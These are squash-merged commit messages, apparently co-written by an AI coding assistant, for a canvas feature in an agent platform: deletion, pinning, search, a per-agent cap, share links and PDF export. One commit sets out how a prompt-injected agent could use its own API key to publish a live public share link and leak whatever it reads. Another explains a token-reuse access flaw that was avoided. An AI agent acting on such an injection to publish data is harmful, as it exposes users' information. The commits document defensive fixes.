selector visible when a search narrows to one match (ent#553 review) `CanvasPanel.vue` gated the chip strip on `visible.length > 1 || manage`, where `visible` is the FILTERED list. Searching down to exactly one canvas hid the strip while the previously selected canvas stayed on screen, and the auto-select watcher — keyed off the unfiltered `props.canvases` — never selected the match. Proven by execution: 7 canvases, query "Topic 3" → strip false, no-match message false. The one canvas the user just searched for was unreachable. Fix: - `canvasSelectorVisible({visible, manage, query})` — with a query, any hit shows the strip; without one, a single canvas is no choice (unchanged). - `canvasAutoSelect(visible, selectedId, query)` — while a query is active the selection follows the matches; no-op with no query or when the current selection already matches. - `CanvasPanel.vue` consumes both: `v-if="selectorVisible"` and a watcher on `[visible, query]`. Tests: - `canvasUtils.spec.js`: the two pure rules. - `canvasPanelSelectorGate.spec.js`: slices the `selectorVisible` computed out of the SFC and RUNS it against the ejection's numbers; pins that the template reads the computed, not a re-derived length test, and that the watcher calls `canvasAutoSelect`. - `test_ent553_canvas_lifecycle.py`: the second review ask — the per-agent cap reaches the wire as a 409 through the real router → service → db chain (only the Redis rate limiter stubbed), names the remedy, and the same PUT against an existing id stays an update. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_015owqMKD5QDjzZrUTF2Joht * fix(canvas): the search box outlives a shrink below the threshold (ent#553 review) `query` has exactly one writer — the search input's `v-model` — and that input was `v-if="showSearch"` with `showSearch = ordered.length > 6`. Seven canvases, type "Topic 3", delete the one match: six canvases, the box unmounts, `visible` still filters on the stale query, the strip collapses, and the panel says *No canvas matches "Topic 3"* with no control left to clear it. Every remaining canvas is unreachable via the chips until navigation. Also reachable with no operator action: the agent's own `clear_canvas` plus a rail refresh while a query is typed. The rule is pure — `canvasSearchVisible(count, threshold, query)` — and keeps the box while a query is active regardless of the count: the typed intent survives the shrink, and the no-match line keeps the one control that clears it. Resetting `query` when the box would flip off was the other option and was rejected: it erases a search the user was mid-way through because a sibling canvas went away. The gate spec that pinned the previous ejection drove `visible`/`query` in isolation from `showSearch`, which is why it could not see this one. It now slices the real `showSearch` computed out of the SFC and RUNS it against the ejection's own numbers (7 → 6 with "Topic 3" typed → box stays; 6 with no query → box gone), and pins that the input is gated on that computed and is the sole writer of `query`. Mutation-checked: reverting the gate to the old length test reds three cases. Four mechanical items from the same review ride along: - requirements/core-agent.md: the ent#438 "deliberately no retention window: bounded by construction" line now says why that reasoning was wrong (rows are bounded per canvas, the count was not) and what bounds it instead; FR-18..FR-22 record delete / bulk / cap / pin / search, which had no requirements entries at all. - raw-color-baseline.json: the `_ent553_note` naming CanvasPanel.vue's 25 → 46 raw_gray was added in 2794388 and dropped by the dev merge aa248f7; re-added so the growth is named in the file. - routers/canvas.py `# mcp:` header now says pin and bulk-delete are unexposed on purpose, and why — Invariant #13's deliberate-vs-forgotten signal. - feature-flows/agent-canvas.md: the two search-state rules and the defect class they close. Verified: vitest 2696 passed (121 files); canvas backend suites 101 passed; raw-colour ratchet and loading-gate ratchet unchanged. Related to Abilityai/trinity-enterprise#553 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01RS8FBA7oEtAAv6GamZKong --------- Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>

…#554) (#2623) * feat(canvas): delete, pin, search and a stated bound for the canvas pile An agent that uses its canvas the way ent#438 intends accumulates dozens: one per report, per topic, per run. The Workspace could only ever ADD to that pile — the client-portal surface had no delete at all, the only ordering was "newest updated", and nothing bounded the table. Two decisions, both by operator ruling 2026-09-08, recorded because each had a plausible alternative: **Deleting is owner-or-admin.** The answer ent#548 gives for files — the owner deletes the shared artifact. This NARROWS the platform DELETE route, which accepted any user with agent access; safe because no UI called it, so no workflow depended on the wider gate. A canvas is one shared surface with no per-user copy, so a non-owner has no "hide it from my list" middle ground: per AC #2 they see no control at all rather than one that 403s. Agents keep clearing their own (`clear_canvas`, the #918 self-gate). **The bound is a per-agent CAP, not a retention window.** ent#438 recorded "no retention window" because the composite key bounds rows per canvas — but `canvas_id` is agent-chosen, so the COUNT was unbounded; the axis was missed, not decided. `CANVAS_MAX_PER_AGENT` (100, env-tunable) is checked inside `upsert_canvas`'s insert branch, in the same transaction as the INSERT, so it is not a check-then-act race. Updating an existing canvas is NEVER refused — a cap that froze updates would punish exactly the agent that reuses ids — and the refusal is a named 409 telling the agent to retire one, never an eviction: deleting a person's surfaces on a timer is the #1638 failure direction. Both surfaces resolve permission through `db.can_user_share_agent`, the same predicate `assert_agent_owner` uses, so Agent Detail and the Workspace cannot disagree about who owns an agent. The Workspace learns it from `PortalAgentCard.can_manage_canvases` — the portal's only capability channel (#2128), since a portal principal cannot read `/api/settings/feature-flags` — and it fails closed. `pinned` (dual-track: `agent_canvases_pinned` + Alembic 0058, NOT NULL DEFAULT 0, no backfill) is written only by the human pin route and is deliberately absent from every agent-facing tool: `audience` is the agent's decision about who may read, `pinned` is the reader's about what they see first, and an agent that could pin itself to the top would defeat the ordering. A pin survives the agent rewriting the canvas. Living with many is `CanvasPanel.vue`, shared by both surfaces (one rendering layer, per ent#475): search once the list passes six, a height-bounded strip so a long list does not cost the rail its other tabs, and a Manage mode giving each row its age, stale mark, pin and delete. Decidable rules are pure in `canvasUtils.js` — vitest runs `environment: 'node'` with no mount harness, so a rule inside the SFC is one no test can reach. Bulk delete is a POST, not a body-carrying DELETE (bodies on DELETE are permitted-but-unreliable and this one is not optional), declared above the parameterized routes on both routers (Invariant #4), and it reports the ids that EXISTED rather than the ids requested so "3 of 5 removed" is sayable. Three pre-existing guards failed and each was right to: `empty_canvas` was missing the new field (a real bug in this change, fixed), the self-gate guard needed to learn the new gate's name, and the positional-read guard needed its synthetic row extended — that one exists precisely because `_row_to_summary` reads by index. Tests: 20 new backend cases (cap refusal + update-at-cap, pin ordering and survival, bulk scoping, the permission matrix on both surfaces, route ordering, dual-track migration parity, and that the MCP tools cannot pin) and ~24 vitest cases for the pure rules. Verified against a real database: the cap refuses the 4th of 3, updates still succeed at the cap, a pin outranks recency and survives a rewrite, and bulk delete returns only the ids that existed. Related to Abilityai/trinity-enterprise#553 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01CdxGmvuKuqaWJZ6pKUgaUJ * feat(canvas): audit the single delete, cover the default canvas, document the lifecycle Closes the three acceptance criteria the first commit left open: * AC #1 asked for the deletion to be audited and only the BULK route was — the single-canvas route is the one a person actually clicks. Logged only when something was removed, since the route is idempotent and a repeat click would otherwise fill the trail with events where nothing happened. * AC #8: deleting the DEFAULT canvas is allowed, comes back empty on the next write, and frees a slot against the cap. `main` is the id both the MCP tools and the voice panel fall back to, so it is the one most likely to be deleted by accident and the one whose deletion must strand nobody. * AC #9: the user doc gains a "Removing canvases" section stating the permission rule, the cap, and that nothing is ever deleted to make room. Also records a latent pre-existing mismatch found while testing: `empty_canvas` returns None timestamps while `models.Canvas` requires strings, so `Canvas(**empty_canvas(...))` raises. Not live — its only caller declares no `response_model` — but adding one there would turn the voice teardown poll into a 500. Left as a comment where the next person to reach for that will meet it, rather than fixed out of scope. Related to Abilityai/trinity-enterprise#553 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01CdxGmvuKuqaWJZ6pKUgaUJ * feat(canvas): share a canvas at a link, and download it as a PDF A canvas is where an agent's real output lives, and until now it could not leave the Workspace: no share link, no export, nothing in the tree that renders a PDF. **Sharing never widens the audience by accident.** Two scopes, and the default is the narrow one: `authorized` makes the link a DEEP link — opening it requires signing in and the server re-checks `can_user_access_agent`, so it reaches "the people who could already see it" and nobody else. `public` is an explicit, separate, audited choice. Failing narrow is enforced in five independent places (column default, Pydantic default, `normalize_scope`'s fallback, the order of `SHARE_SCOPES`, the radio the dialog preselects), because a link that reaches further than the sharer understood is the one failure this feature must not have. **`agent_canvas_shares` is deliberately its own table.** `agent_public_links` has a `type` column that looks purpose-built for this, and reusing it would have been a real vulnerability: nothing in that table's read path filters on type — `get_public_link_by_token`, `is_link_valid` and `routers/public.py::_validate_public_link` all resolve a token whatever it is — so a canvas row there would ALSO be a working public-CHAT token, and anyone sent a canvas could talk to the agent. (`type='site'` is the same trap already laid; it is unexploited only because nothing creates those rows today.) A separate table makes the isolation structural instead of dependent on every consumer remembering to check. **Live, and it says so** (AC #3, operator ruling): the link renders the canvas as it is now, carrying its `updated_at` and stale mark, and the page states it is not a copy taken at share time. That follows ent#438's model — a canvas is a surface an agent keeps current — and means a share stores nothing. The cost is drift after sharing; the mitigation is revocation, not freezing. **Revocation keeps the row.** `revoked_at` is stamped, never deleted, because a revoked link has to be able to SAY it was revoked (AC #2), which it cannot do once the row is gone. The status vocabulary splits along disclosure: `revoked` and `expired` are returned only for a token that MATCHED a row — whoever holds such a link was already told the canvas exists — while an unknown token and a canvas deleted out from under a link both collapse into one `not_found`, so a stranger guessing tokens learns nothing from the difference. An unparseable `expires_at` reads as expired: a lifetime we cannot read is one we cannot promise is live. **PDF is print-first**, the path the issue recommended: a print stylesheet plus the browser's own PDF. No headless service to run, and — the deciding reason — no second renderer to keep in step with `CanvasBlock`. A server-side renderer was the stated fallback and was not needed: pagination (`break-inside: avoid` per block) and fidelity both fall out of the same markup the screen uses. `CanvasDocument.vue` is the one printable form, rendered by both the shared page and every authenticated surface, so AC #7's "identical from every canvas surface" is true by construction rather than by three surfaces agreeing. It carries title, agent and generation date, forces the light rendering under `@media print`, and when `window.print` is unavailable the control says so and the share link still works. `ent#425` (hosted deliverable pages) is still open, so per this issue's own boundary rule this ships the narrower share link and #425 adopts it later. Verified against a real database, not stubs: the full resolution matrix (public/anonymous → ok, authorized/anonymous → sign-in, authorized/owner → ok, authorized/stranger → refused, unknown → not-found, revoked, expired, unparseable expiry → expired, canvas deleted → not-found), views counted only on a successful render, cross-agent revoke refused, and a second revoke keeping the first revocation time. 23 backend tests, 20 vitest cases for the pure rules. Related to Abilityai/trinity-enterprise#554 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01CdxGmvuKuqaWJZ6pKUgaUJ * test(canvas): patch the cap where the live code reads it, not where the test imports it Two ent#553 tests passed in isolation and failed in a full-suite run: `test_the_cap_refuses_a_new_canvas_by_name` and `test_deleting_the_default_canvas_frees_a_slot_against_the_cap`. Order-dependence, not a defect in the feature. They patched `db.canvas.CANVAS_MAX_PER_AGENT` via a fresh `import db.canvas`. Some earlier test in the suite evicts that module from `sys.modules`, so the fresh import hands back a NEW module object while the live `db._canvas_ops` is still an instance of the OLD class — whose `upsert_canvas` reads the OLD module's globals. The patch lands somewhere nothing consults, the cap stays at its default of 100, and the "refuses the 4th of 3" assertions fail. `_set_cap` patches the bound method's own `__globals__`, which is whichever module dict the running code actually closes over — correct whether or not an eviction happened, so it does not depend on knowing which test pollutes. Same failure and same fix as #2589, where the identical shape bit `mark_stale_activities_failed`. Worth noting the class: a monkeypatch on a module attribute is only as good as the assumption that the live object came from that module object, and in a suite that evicts modules that assumption is not free. The feature is unchanged — this touches only the test file. Related to Abilityai/trinity-enterprise#553 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01CdxGmvuKuqaWJZ6pKUgaUJ * fix(canvas): print the canvas, not the whole page Reported from hands-on testing: pressing PDF offered to export the entire page. Correct report — the print stylesheet only STYLED the document and never hid anything else, so `window.print()` printed the nav bar, the tabs, the on-screen panel AND the print copy. That is not "one clean column" by any reading (AC #4), and it is the first thing anyone pressing the button hits. Two halves, both required: * a print rule that hides every `body` child except `.canvas-print-root`; * the print copy TELEPORTED to <body>, so it is a body child and the rule can spare it. Nested inside the app the rule would hide its ancestor and print nothing at all — worse than the bug. `body > *` rather than a class on the app root: it needs no knowledge of how the app is mounted and works identically on the standalone shared page, which keeps AC #7's "identical from every surface" true rather than approximately true. The copy is rendered only while printing (`v-if="printing"` + a `nextTick` flush before `print()`, since printing a not-yet-rendered teleport yields a blank sheet), so the DOM carries no permanent hidden duplicate. `canvasPrintIsolation.spec.js` pins all three structural facts. Nothing automated can inspect a print preview, which is exactly why the bug shipped — so the guard asserts the mechanism instead: the hiding rule exists, the root is teleported to body, and the document mounts before print() is called. Mutation-tested: removing the hiding rule fails it. Also fixes a design-system violation the ratchet caught in the same file: `SharedCanvas` gated its skeleton on a bare `v-if="loading"`. Now `viewState()` — loading means "no data yet", never "a fetch is in flight" (#1927, design-system p13-p15). The page fetches once today, so this is the rule holding rather than a bug fixed; it stays correct if a refresh is added. Baselining my own new violation was the alternative and would have been the wrong one. Related to Abilityai/trinity-enterprise#554 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01CdxGmvuKuqaWJZ6pKUgaUJ * fix(canvas): re-parent the pinned revision, and make the canvas cap reachable Two review items from #2619. **Alembic head fork (#2068 class).** `0058_agent_canvases_pinned` shared `down_revision = 0057` with #2608's `0058_portal_file_dismissals`, which has since landed on `dev` — two heads, and `alembic upgrade head` resolves its single target before applying anything, so EVERY revision merged since the fork stops arriving, not just one. Re-parented onto `0058_portal_file_dismissals` and renumbered to `0059` so the prefix keeps being a usable ordering cue; the id is not applied anywhere yet, so the rename costs nothing. `check_alembic_heads.py` reports 1 head. **`CANVAS_MAX_PER_AGENT` was inert (#1039 class).** The refusal message names the number, but the variable was read only from `os.getenv` in `models.py` and appeared in no compose file — so an operator following the refusal's own advice would raise a lever that never reaches the container. Wired into `docker-compose.yml`, `.prod.yml` and `.hosted.yml` (the last two launch standalone, no base merge / no `env_file`) plus `.env.example`. Related to #2619 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Bd71qsYbFodvofba8P69eP * chore(design-system): re-freeze CanvasPanel's raw-gray ceiling for ent#553 The raw-colour ratchet became enforceable on dev while this branch was open (#2605/#2609), and the merge brings it here: this PR's delete/pin/ search chrome takes `components/canvas/CanvasPanel.vue` from 25 to 46 `raw_gray`, so `tests/unit/rawColorRatchet.spec.js` fails the frontend build. That growth is the honest kind. The design-system contract SPELLS the neutral ink ladder as `gray-N` — surfaces gray-50/100/800/900, borders gray-200/300/700/800, ink gray-300/400/500/600 — and there is no semantic token for a neutral, which is exactly why the spec's own comment says gray is ratcheted but never held to zero for new files. The rule it does hold new code to is `raw_nongray`, and this file stays at **0**. Re-frozen in its OWN commit with the increase named in the baseline's `refrozen` block, which is what the ratchet's error message asks for — not absorbed silently into the feature diff. The entry is hand-edited rather than regenerated so #2605's provenance block survives; no other file's ceiling moves (verified: nothing grew, nothing is stale, no un-baselined file carries `raw_nongray`). Related to #553 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Bd71qsYbFodvofba8P69eP * fix(canvas): state the bound, audit the Workspace writes, gate Manage on ownership (ent#553) Three review findings, all in the same direction — the backend was right and the user-facing half did not arrive — plus the two smaller ones. 1. **The stated bound now reaches the user.** `canvasLimit` was a `ref(0)` nothing ever assigned, so `canvasHeadroom(n, 0)` returned `{label: null}` and the early warning could not render at any count. The ceiling rides `GET /api/settings/feature-flags` as `canvas_max_per_agent` — the established home for a value the browser needs to render a surface, and where `platform_default_model` / `install_source` already set the precedent for a non-boolean. Not a new route (Invariant #13 would owe three surfaces for one integer) and not an envelope around the canvas list (the MCP tool and the Workspace both read it as a bare array). It is a CONSTANT, not per-agent state, and the client already holds the count. `0` still means "not told" and still renders nothing, so an older backend is unchanged. 2. **The Workspace canvas writes are audited.** The three portal routes recorded nothing while their operator twins have logged since they shipped, and `docs/user-docs/agents/agent-canvas.md` tells users deletion is audited — so the claim was false for exactly the client-facing surface. `_audit_canvas_change` is the shared helper; the actor is `actor_email` (the documented #848 inline-auth path) rather than a fabricated `User`, which is honest because `_require_canvas_manager` is platform-only and owner-or-admin, so a real Trinity user is always behind it. Ids and counts only (G-04). The three routes become `async def` to await it, matching their operator twins, which already call the same sync db functions from an async handler. Pinning is audited too, on BOTH surfaces — the operator route was the one recording nothing. A pin decides which canvas an entire roster sees first, so it is an administrative act on a shared surface, not a per-viewer preference. 3. **`canManage` comes from the parent.** It was hardcoded `true` on the argument that the server decides. It does — but a merely-shared user was then shown Manage → Delete / Pin and got a 403, which is the failing-control problem `can_manage_canvases` exists to prevent on the Workspace. Agent Detail passes `agent.can_share`, the same predicate `ReportsPanel` five lines above already reads and the same one `_gate_human_removal` enforces. The prop defaults FALSE, so a caller that forgets it hides an affordance rather than offering one that refuses. 4. **`get_agent_card` resolves `can_manage_canvases`.** It omitted it, so the same owner read `true` in the sidebar and `false` on the agent's own page — the disagreement #2160's own docstring says that function exists to prevent. 5. **An agent genuinely cannot pin its own canvas now.** The user doc said so; `_gate_human_removal` allowed it (right for delete — an agent tidying up after itself — and wrong for pin), and "no MCP tool exposes it" is a property of the client, not of the route. `_gate_pin` is humans-only, which makes the documented sentence true rather than aspirational. Tests: the audit guard now walks the portal routes as well as `routers.canvas` (it only ever inspected the latter, which is why three unaudited routes passed it), plus pin-audit parity, the humans-only pin gate beside the still-permitted agent self-delete, the feature-flags constant being the same object the refusal is raised from, the agent-card/roster agreement, and four frontend wiring cases. 1025 backend / 2538 frontend tests green. Related to Abilityai/trinity-enterprise#553 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01RSjVEjay9ztC1oDXXkh9uN * fix(canvas): the Workspace audit names the operator, not the platform (ent#553) Found re-reviewing my own audit fix. Adding the rows was right; the attribution was wrong, and a row that lands under the wrong actor is worse than the missing row it replaced — nothing fails, so the wrong answer is believed. `_audit_canvas_change` passed `actor_email` only. But `platform_audit_service._resolve_actor` derives `actor_type` from `actor_user` / `actor_agent_name` / `mcp_scope` / `mcp_key_id` and never from the email, so an email-only call falls through to its last branch: _resolve_actor(None, None, None, None) -> ("system", "trinity-system", None) So every Workspace canvas delete and pin was recorded as `actor_type="system"`, `actor_id="trinity-system"` — a named operator's action attributed to the platform, invisible to any `actor_type=user` query and to the audit UI's per-actor filter. Verified against the real resolver, not by reading the call. The `actor_email`-only path I cited (#848 inline auth) is right where the caller genuinely has no `users` row. That is not this route: `_require_canvas_manager` is platform-only and resolves through `db.can_user_share_agent`, so a row exists by construction. It now resolves that row and passes `actor_user`, producing the same `("user", <id>, <email>)` shape the operator twin has always written — which is the point, since auditing the two surfaces differently buys little more than auditing one of them. Best-effort by construction: the action has already happened, so a lookup that raises or misses must not drop the row. It falls back to the email-only call with a WARNING, since a miss would mean the gate admitted someone the user table does not know. Tests: the regression is pinned against the REAL `_resolve_actor` (both the shape the fix must not return to and the shape it produces now), plus a source guard that the helper resolves a row, passes `actor_user`, keeps the email as a fallback and cannot raise. Removing `actor_user=` reds it. 31 passed on the ent#553 file; 953 across canvas / portal / audit. Related to Abilityai/trinity-enterprise#553 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01RSjVEjay9ztC1oDXXkh9uN * fix(migrations): chain 0060_agent_canvas_shares off the renamed pinned revision ent#553 renamed its revision 0058_agent_canvases_pinned -> 0059 when it absorbed dev's 0058_portal_file_dismissals; this revision still pointed at the old id, so after the merge the directory resolved to two heads and `alembic upgrade head` would have applied nothing. Renumbered to 0060 as well so the numeric prefix stays a unique ordering cue. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_015owqMKD5QDjzZrUTF2Joht * chore(frontend): re-freeze CanvasPanel.vue raw_gray 46 -> 62 for ent#554 The share/PDF controls add gray chrome copied from the panel's existing header; the branch predates the #2605 ratchet, so the guard first bit when dev was merged in. Scoped to this one entry, in its own commit, as the guard's own message prescribes. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_015owqMKD5QDjzZrUTF2Joht * test(canvas): resolve CanvasLimitExceeded from the live method's globals The two cap tests imported the class from `db.canvas` while `_set_cap` already patches the cap through `upsert_canvas.__globals__` — because an earlier test can evict and re-import the module. The same eviction gives the test a different class object than the one the live code raises, and `pytest.raises` then reports the correct refusal as an unexpected exception. Seen once in a full local run after the dev merge (both tests pass in isolation and under CI's three seeds); resolve the class from the same globals the cap comes from. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_015owqMKD5QDjzZrUTF2Joht * fix(canvas): keep the selector visible when a search narrows to one match (ent#553 review) `CanvasPanel.vue` gated the chip strip on `visible.length > 1 || manage`, where `visible` is the FILTERED list. Searching down to exactly one canvas hid the strip while the previously selected canvas stayed on screen, and the auto-select watcher — keyed off the unfiltered `props.canvases` — never selected the match. Proven by execution: 7 canvases, query "Topic 3" → strip false, no-match message false. The one canvas the user just searched for was unreachable. Fix: - `canvasSelectorVisible({visible, manage, query})` — with a query, any hit shows the strip; without one, a single canvas is no choice (unchanged). - `canvasAutoSelect(visible, selectedId, query)` — while a query is active the selection follows the matches; no-op with no query or when the current selection already matches. - `CanvasPanel.vue` consumes both: `v-if="selectorVisible"` and a watcher on `[visible, query]`. Tests: - `canvasUtils.spec.js`: the two pure rules. - `canvasPanelSelectorGate.spec.js`: slices the `selectorVisible` computed out of the SFC and RUNS it against the ejection's numbers; pins that the template reads the computed, not a re-derived length test, and that the watcher calls `canvasAutoSelect`. - `test_ent553_canvas_lifecycle.py`: the second review ask — the per-agent cap reaches the wire as a 409 through the real router → service → db chain (only the Redis rate limiter stubbed), names the remedy, and the same PUT against an existing id stays an update. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_015owqMKD5QDjzZrUTF2Joht * fix(canvas): the search box outlives a shrink below the threshold (ent#553 review) `query` has exactly one writer — the search input's `v-model` — and that input was `v-if="showSearch"` with `showSearch = ordered.length > 6`. Seven canvases, type "Topic 3", delete the one match: six canvases, the box unmounts, `visible` still filters on the stale query, the strip collapses, and the panel says *No canvas matches "Topic 3"* with no control left to clear it. Every remaining canvas is unreachable via the chips until navigation. Also reachable with no operator action: the agent's own `clear_canvas` plus a rail refresh while a query is typed. The rule is pure — `canvasSearchVisible(count, threshold, query)` — and keeps the box while a query is active regardless of the count: the typed intent survives the shrink, and the no-match line keeps the one control that clears it. Resetting `query` when the box would flip off was the other option and was rejected: it erases a search the user was mid-way through because a sibling canvas went away. The gate spec that pinned the previous ejection drove `visible`/`query` in isolation from `showSearch`, which is why it could not see this one. It now slices the real `showSearch` computed out of the SFC and RUNS it against the ejection's own numbers (7 → 6 with "Topic 3" typed → box stays; 6 with no query → box gone), and pins that the input is gated on that computed and is the sole writer of `query`. Mutation-checked: reverting the gate to the old length test reds three cases. Four mechanical items from the same review ride along: - requirements/core-agent.md: the ent#438 "deliberately no retention window: bounded by construction" line now says why that reasoning was wrong (rows are bounded per canvas, the count was not) and what bounds it instead; FR-18..FR-22 record delete / bulk / cap / pin / search, which had no requirements entries at all. - raw-color-baseline.json: the `_ent553_note` naming CanvasPanel.vue's 25 → 46 raw_gray was added in 2794388 and dropped by the dev merge aa248f7; re-added so the growth is named in the file. - routers/canvas.py `# mcp:` header now says pin and bulk-delete are unexposed on purpose, and why — Invariant #13's deliberate-vs-forgotten signal. - feature-flows/agent-canvas.md: the two search-state rules and the defect class they close. Verified: vitest 2696 passed (121 files); canvas backend suites 101 passed; raw-colour ratchet and loading-gate ratchet unchanged. Related to Abilityai/trinity-enterprise#553 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01RS8FBA7oEtAAv6GamZKong * fix(canvas): a share link is a grant, so only a human may mint one (ent#554 review) `create_canvas_share`'s docstring said "Owner-or-admin and human-only via `_gate_human_removal`". That gate is not human-only — its own docstring, one screen above, says an agent-scoped key may act on its own agent, which is correct for `clear_canvas` ("an agent tidying up after itself") and wrong for every verb that decides what someone OTHER than the agent may see. So a prompt-injected agent could POST /api/agents/<self>/canvas/<id>/share {"scope": "public"} with the TRINITY_MCP_API_KEY already in its container and publish its own canvas at an unauthenticated URL. Three things make that worse than it first reads: * the share is LIVE, not a snapshot, so one link is a self-updating channel rather than a one-time disclosure; * the agent is the only writer of canvas blocks, so anything it can read it can copy into a canvas and publish; * `audience` is not consulted on the share path, so ent#438's fail-closed "a canvas reaches a client only because the agent said so" would not have applied — the agent would have been choosing for itself. `list_canvas_shares` had the same gate and returns the TOKEN, which is the capability itself; `revoke_canvas_share` too, so an agent could also turn off a person's link. The fix is the grant-vs-use line (Invariant #8): the endpoint that USES a capability may be agent-callable, the one that GRANTS one is human-only. * `_gate_human_only(current_user, name, *, agent_detail)` is factored out of `_gate_pin` — the predicate was always right, only its NAME described one caller. A gate named for a verb ("removal") is one a fourth caller reaches past by accident; a gate named for its rule is not. `_gate_pin` and the new `_gate_share` both delegate to it, with per-caller refusal text because an agent reads that message to decide what to do next. * The three share routes now call `_gate_share`. * The delete routes deliberately KEEP `_gate_human_removal`, and a test guards that boundary in the other direction — the first attempt at this fix swept `clear_canvas` into the human-only gate, because one `str.replace` matched both bodies. That would have broken a real MCP tool for every agent: a security fix breeding the next bug, the /review §4.14 class. Six regression tests; four of them fail against the previous commit (the other two are the over-correction guards, which must pass both ways by design). The 23 tests already here covered scope defaults, expiry, revocation and enumeration, but none used an agent principal on any share route — which is how this shipped. Docs: the user doc now states that sharing is the owner's alone and that the routes refuse an agent's own key, beside the same sentence for pin; the flow doc records the decision, the blast radius, and why the delete routes stay permissive. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Q19uRCksdn4DiRAJ55rfpZ * docs(canvas): record the share routes in the file's own mcp: convention (ent#554 review) The header comment lists which canvas routes are deliberately NOT exposed as MCP tools and why. ent#554 added three that qualify — minting, listing and revoking a share link — and the list did not grow with them. Worth more than a comment here: the ent#553 entry states the rule the share routes then failed to follow ("no tool exposes it" is a property of the client), so a reader consulting this header to decide a fourth route's gate would have found the reasoning but not the precedent. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Q19uRCksdn4DiRAJ55rfpZ * docs(learnings): a gate named after a verb gets reached for by the wrong route (ent#554 review) Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Q19uRCksdn4DiRAJ55rfpZ --------- Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com> Co-authored-by: Eugene Vyborov <eugene@ability.ai>

#2628) * feat(canvas): delete, pin, search and a stated bound for the canvas pile An agent that uses its canvas the way ent#438 intends accumulates dozens: one per report, per topic, per run. The Workspace could only ever ADD to that pile — the client-portal surface had no delete at all, the only ordering was "newest updated", and nothing bounded the table. Two decisions, both by operator ruling 2026-09-08, recorded because each had a plausible alternative: **Deleting is owner-or-admin.** The answer ent#548 gives for files — the owner deletes the shared artifact. This NARROWS the platform DELETE route, which accepted any user with agent access; safe because no UI called it, so no workflow depended on the wider gate. A canvas is one shared surface with no per-user copy, so a non-owner has no "hide it from my list" middle ground: per AC #2 they see no control at all rather than one that 403s. Agents keep clearing their own (`clear_canvas`, the #918 self-gate). **The bound is a per-agent CAP, not a retention window.** ent#438 recorded "no retention window" because the composite key bounds rows per canvas — but `canvas_id` is agent-chosen, so the COUNT was unbounded; the axis was missed, not decided. `CANVAS_MAX_PER_AGENT` (100, env-tunable) is checked inside `upsert_canvas`'s insert branch, in the same transaction as the INSERT, so it is not a check-then-act race. Updating an existing canvas is NEVER refused — a cap that froze updates would punish exactly the agent that reuses ids — and the refusal is a named 409 telling the agent to retire one, never an eviction: deleting a person's surfaces on a timer is the #1638 failure direction. Both surfaces resolve permission through `db.can_user_share_agent`, the same predicate `assert_agent_owner` uses, so Agent Detail and the Workspace cannot disagree about who owns an agent. The Workspace learns it from `PortalAgentCard.can_manage_canvases` — the portal's only capability channel (#2128), since a portal principal cannot read `/api/settings/feature-flags` — and it fails closed. `pinned` (dual-track: `agent_canvases_pinned` + Alembic 0058, NOT NULL DEFAULT 0, no backfill) is written only by the human pin route and is deliberately absent from every agent-facing tool: `audience` is the agent's decision about who may read, `pinned` is the reader's about what they see first, and an agent that could pin itself to the top would defeat the ordering. A pin survives the agent rewriting the canvas. Living with many is `CanvasPanel.vue`, shared by both surfaces (one rendering layer, per ent#475): search once the list passes six, a height-bounded strip so a long list does not cost the rail its other tabs, and a Manage mode giving each row its age, stale mark, pin and delete. Decidable rules are pure in `canvasUtils.js` — vitest runs `environment: 'node'` with no mount harness, so a rule inside the SFC is one no test can reach. Bulk delete is a POST, not a body-carrying DELETE (bodies on DELETE are permitted-but-unreliable and this one is not optional), declared above the parameterized routes on both routers (Invariant #4), and it reports the ids that EXISTED rather than the ids requested so "3 of 5 removed" is sayable. Three pre-existing guards failed and each was right to: `empty_canvas` was missing the new field (a real bug in this change, fixed), the self-gate guard needed to learn the new gate's name, and the positional-read guard needed its synthetic row extended — that one exists precisely because `_row_to_summary` reads by index. Tests: 20 new backend cases (cap refusal + update-at-cap, pin ordering and survival, bulk scoping, the permission matrix on both surfaces, route ordering, dual-track migration parity, and that the MCP tools cannot pin) and ~24 vitest cases for the pure rules. Verified against a real database: the cap refuses the 4th of 3, updates still succeed at the cap, a pin outranks recency and survives a rewrite, and bulk delete returns only the ids that existed. Related to Abilityai/trinity-enterprise#553 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01CdxGmvuKuqaWJZ6pKUgaUJ * feat(canvas): audit the single delete, cover the default canvas, document the lifecycle Closes the three acceptance criteria the first commit left open: * AC #1 asked for the deletion to be audited and only the BULK route was 